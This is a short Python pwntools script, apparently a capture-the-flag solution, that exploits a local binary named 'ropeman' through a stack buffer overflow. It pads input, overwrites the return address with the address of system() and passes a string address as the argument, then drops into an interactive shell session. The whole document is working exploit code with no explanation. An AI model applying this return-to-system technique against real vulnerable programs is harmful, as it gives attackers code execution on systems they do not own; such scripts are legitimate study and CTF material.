import struct
from pwn import *
from time import sleep

def getpayload():
    system = 0x080488f0
    # x/s not_used
    not_used = 0x0804ed69
    # First, the buffer overflow.
    payload =  "S"*0x7b1a
    payload += "AAAA"
    payload += struct.pack("I", system)
    payload += "BBBB"
    payload += struct.pack("I", not_used)

    return payload
    
def exploit():

    prog = process('./ropeman')
    for x in range(0, 6):
        prog.sendline('z')
        time.sleep(0.1)
    prog.sendline(getpayload())
    prog.interactive()

if __name__ == "__main__":
    result = {}
    exploit()


